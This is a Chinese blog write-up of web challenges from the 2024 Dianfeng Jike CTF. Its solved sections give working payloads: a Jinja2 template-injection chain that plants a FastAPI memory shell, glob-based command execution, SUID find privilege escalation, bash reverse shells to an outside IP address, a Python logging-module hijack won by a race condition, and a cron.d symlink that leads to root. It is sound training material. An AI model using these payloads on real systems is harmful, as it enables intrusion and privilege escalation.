目录

  1. 1. 前言
  2. 2. EncirclingGame
  3. 3. GoldenHornKing
  4. 4. admin_Test
  5. 5. php_online(复现)
  6. 6. 伽玛实验场_tpcms01(Unsolved)
  7. 7. bio_share(Unsolved)
  8. 8. oldapi(Unsolved)
  9. 9. easy_java(Unsolved)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

巅峰极客2024

2024/8/17 CTF线上赛 提权 内存马
  |     |   总文章阅读量:

前言

web专场(x

提权专场(√

image-20240817211814882


EncirclingGame

小游戏

image-20240817100613146


GoldenHornKing

fastapi + 内存马

import os
import jinja2
import functools
import uvicorn
from fastapi import FastAPI
from fastapi.templating import Jinja2Templates
from anyio import fail_after, sleep

def timeout_after(timeout: int = 1):
    def decorator(func):
        @functools.wraps(func)
        async def wrapper(*args, **kwargs):
            with fail_after(timeout):
                return await func(*args, **kwargs)
        return wrapper

    return decorator
    
app = FastAPI()
access = False

_base_path = os.path.dirname(os.path.abspath(__file__))
t = Jinja2Templates(directory=_base_path)

@app.get("/")
@timeout_after(1)
async def index():
    return open(__file__, 'r').read()

@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str):
    global access
    if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
        return "bad char"
    else:
        jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render({"app": app})
        access = True
    return "fight"

if __name__ == "__main__":
    uvicorn.run(app, host="0.0.0.0", port=8000)

访问openapi.json获得接口列表

{
  "openapi": "3.1.0",
  "info": {
    "title": "FastAPI",
    "version": "0.1.0"
  },
  "paths": {
    "/": {
      "get": {
        "summary": "Index",
        "operationId": "index__get",
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          }
        }
      }
    },
    "/calc": {
      "get": {
        "summary": "Ssti",
        "operationId": "ssti_calc_get",
        "parameters": [
          {
            "name": "calc_req",
            "in": "query",
            "required": true,
            "schema": {
              "type": "string",
              "title": "Calc Req"
            }
          }
        ],
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          },
          "422": {
            "description": "Validation Error",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/HTTPValidationError"
                }
              }
            }
          }
        }
      }
    }
  },
  "components": {
    "schemas": {
      "HTTPValidationError": {
        "properties": {
          "detail": {
            "items": {
              "$ref": "#/components/schemas/ValidationError"
            },
            "type": "array",
            "title": "Detail"
          }
        },
        "type": "object",
        "title": "HTTPValidationError"
      },
      "ValidationError": {
        "properties": {
          "loc": {
            "items": {
              "anyOf": [
                {
                  "type": "string"
                },
                {
                  "type": "integer"
                }
              ]
            },
            "type": "array",
            "title": "Location"
          },
          "msg": {
            "type": "string",
            "title": "Message"
          },
          "type": {
            "type": "string",
            "title": "Error Type"
          }
        },
        "type": "object",
        "required": [
          "loc",
          "msg",
          "type"
        ],
        "title": "ValidationError"
      }
    }
  }
}

定义了这几个api路径:

/:根路径,get方法

/calc:ssti,参数calc_req

那就很明显是要ssti了,参考https://medium.com/dsf-developers/how-to-handle-an-ssti-vulnerability-in-jinja2-58242e561d4f

但是这里的waf:if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access

  • 检查calc_req中是否包含数字字符
  • 检查calc_req中是否包含%字符
  • 检查calc_req中的字符是否不是ASCII字符
  • 检查全局变量access是否为真

影响不大,本地测试的payload

self.__init__.__globals__.__builtins__.__import__('os').popen('calc')

能弹计算器

接下来由于ban掉了数字,不好弹shell,应该是要打内存马,在fastapi的依赖中找到add_api_route这个方法,然后构造我们的匿名函数(也就是对应了题目描述的“举一反三”,诶前两天刚学的flask内存马这就派上用场了)

self.__init__.__globals__.__builtins__['eval']("app.add_api_route('/cmd',lambda+:__import__('os').popen('calc').read())",{"app":self.__init__.__globals__['sys'].modules['__main__'].__dict__['app']})

最终的payload:

self.__init__.__globals__.__builtins__['eval']("app.add_api_route('/cmd',lambda+:__import__('os').popen('cat${IFS}/flag').read())",{"app":self.__init__.__globals__['sys'].modules['__main__'].__dict__['app']})

image-20240817150617706

image-20240817150637519


admin_Test

linux命令构造 + find提权

dirsearch扫,直接扫出admin.html,进去发现是个文件上传接口

image-20240817123229604

fuzz了一下发现只有t,/.*和空格不会被ban

接下来凑命令执行

/*
# bin目录
/*/*
# [
/*/t*
# tabs
/*/*t
# addpart
/t*
# tmp目录
/*t
# boot目录

找不到啥有用的命令,但是注意到给了个文件上传肯定不是白给的,猜测文件只是传到了/tmp下

于是尝试上传sh脚本并执行

. /t*/*

image-20240817164731624

upload.php

<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    if (isset($_FILES['file'])) {
        $target_dir = "uploads/";
        if (!file_exists($target_dir)) {
            mkdir($target_dir, 0777, true);
        }
        $random_name = md5(uniqid(mt_rand(), true));
        $target_file = $target_dir . $random_name;
        
        if (move_uploaded_file($_FILES['file']['tmp_name'], $target_file)) {
            echo "upload successfully<br>";
        } else {
            echo "upload error, but you can try another way<br>";
        }
    }

    if (isset($_POST['cmd'])) {
        $cmd = $_POST['cmd'];
        
        if (preg_match('/^[\.\/\*t ]+$/', $cmd)) {
            $output = shell_exec($cmd);
            echo "<pre>$output</pre>";
        } else {
            echo "Invalid char";
        }
    }

    if (isset($_POST['reset']) && $_POST['reset'] == 'true') {
        $tmp_dir = '/tmp/';
        $files = glob($tmp_dir . '*'); 

        foreach ($files as $file) {
            if (is_file($file)) {
                unlink($file); 
            }
        }

        echo "环境已重置";
    }
}
?>

login.php

<?php
session_start();

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $username = $_POST['username'];
    $password = $_POST['password'];

    $valid_username = 'admin';
    $valid_password = 'qwe123!@#';

    if ($username === $valid_username && $password === $valid_password) {
        $_SESSION['loggedin'] = true;
        $_SESSION['username'] = $username;
        header('Location: admin.html');
        exit;
    } else {
        echo '<script>alert("Invalid username or password.");window.location.href="index.html";</script>';
    }
} else {
    header('Location: index.html');
    exit;
}
?>

拿着这个账密登录,没啥用

那就回来提权

find / -perm -u=s -type f 2>/dev/null

可以find提权

image-20240817165701220

find . -exec /bin/sh -pc "cat /flag" \; -quit

image-20240817165850641


php_online(复现)

from flask import Flask, request, session, redirect, url_for, render_template
import os
import secrets


app = Flask(__name__)
app.secret_key = secrets.token_hex(16)
working_id = []


@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        id = request.form['id']
        if not id.isalnum() or len(id) != 8:
            return '无效的ID'
        session['id'] = id
        if not os.path.exists(f'/sandbox/{id}'):
            os.popen(f'mkdir /sandbox/{id} && chown www-data /sandbox/{id} && chmod a+w /sandbox/{id}').read()
        return redirect(url_for('sandbox'))
    return render_template('submit_id.html')


@app.route('/sandbox', methods=['GET', 'POST'])
def sandbox():
    if request.method == 'GET':
        if 'id' not in session:
            return redirect(url_for('index'))
        else:
            return render_template('submit_code.html')
    if request.method == 'POST':
        if 'id' not in session:
            return 'no id'
        user_id = session['id']
        if user_id in working_id:
            return 'task is still running'
        else:
            working_id.append(user_id)
            code = request.form.get('code')
            os.popen(f'cd /sandbox/{user_id} && rm *').read()
            os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py').read()
            os.popen(f'rm -rf /sandbox/{user_id}/phpcode').read()
            
            php_file = open(f'/sandbox/{user_id}/phpcode', 'w')
            php_file.write(code)
            php_file.close()

            result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode').read()
            os.popen(f'cd /sandbox/{user_id} && rm *').read()
            working_id.remove(user_id)

            return result


if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=80)

审计测试发现是一个执行任意php代码的沙盒环境

直接看到执行php代码的命令这里:

result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode').read()

以一个低权限执行php文件,这个时候想到能不能对 user_id 命令注入,但是前面有限制:

if not id.isalnum() or len(id) != 8:
    return '无效的ID'
session['id'] = id

所以不可能直接改id来注入,当然我们也注意到这里是用 session 存 user_id 的,而 key 是secrets.token_hex(16)

那么接下来的思路是session伪造,想办法获取key,直接用php写py文件导入index.py来获取key

<?php system('echo "import sys\nsys.path.append(\"/app\")\nimport index\nprint(index.app.secret_key)">2.py && python3 2.py');

得到key:09497afbba5c8dbca6c05b313f712cdf,但是发现这个key每次执行都会变,因为是secrets.token_hex(16)

看来session伪造也行不通,总之先弹个shell

<?php system('bash -c \'bash -i >& /dev/tcp/115.236.153.177/30908 <&1\'');

注意到文件夹下有个意义不明的init.py

image-20240817170906669

import logging

logger.info('Code execution start')

看一下哪来的

os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py').read()

从app下cp来的,会以 www-data 的权限运行一次init.py

那么只要我们能够在用户 AAAAAAAA 这里劫持用户 BBBBBBBB 的 logging 库,写入弹shell的命令,然后通过和 BBBBBBBB 执行php时的rm *竞争就能让上面这个语句执行 www-data 权限的弹shell

那么先准备两个user,然后在 AAAAAAAA 的shell这里写入 logging.py

echo -e "import os,sys;os.system('bash -c \'bash -i >& /dev/tcp/115.236.153.177/12944 <&1\'')">../bbbbbbbb/logging.py

接下来在 BBBBBBBB 那里重复发包执行python3 init.py进行条件竞争

image-20240817231655200

最终成功弹到 www-data 的shell

image-20240817231732722

接下来要提root权限

这里使用计划任务/etc/cron.dln -s建立 user_id 到计划任务的软链接,这样子phpcode的内容就成计划任务了

ln -s /etc/cron.d /sandbox/cccccccc

然后来到 cccccccc 用户这里,在php的代码框里输入我们设置的计划任务,因为计划任务每分钟更新一次所以我们让php脚本延迟一分钟再被删掉

* * * * * root chmod 777 /flag
#<?php sleep(60);

把 /flag 设置为可读,等一分钟过后就可以了

image-20240817235426122


伽玛实验场_tpcms01(Unsolved)

导入数据库,我用小皮起的数据库环境,需要先注释掉sql文件里第一行的创建数据库

mysql -u qwadmin -p qwadmin < db.sql

数据库里拿到本地管理员的账号admin和md5后的密码21232f297a57a5a743894a0e4a801fc3(爆出来是admin)

但是远程账密不对

没时间审tp


bio_share(Unsolved)

admin’s bio is what u want, but admin will not share it to u.Login as test or test2, with the same password 123456a@b, Admin will visit this application using www.test.com

server {
    listen 80;

    server_name _;

    location / {
        root /app/static;
        try_files $uri $uri/ =404;
    }

    location /login/ {
        proxy_pass http://127.0.0.1:8000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
	proxy_set_header Origin http://127.0.0.1:8000;
    }

    location ~* ^/static/ {
        return 302 $scheme://$http_host/forbidden.html?page=$uri;
    }

    location /api/ {
        proxy_pass http://127.0.0.1:8000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}

用给的账密登录上去,看起来是xss

image-20240817155345585


oldapi(Unsolved)


easy_java(Unsolved)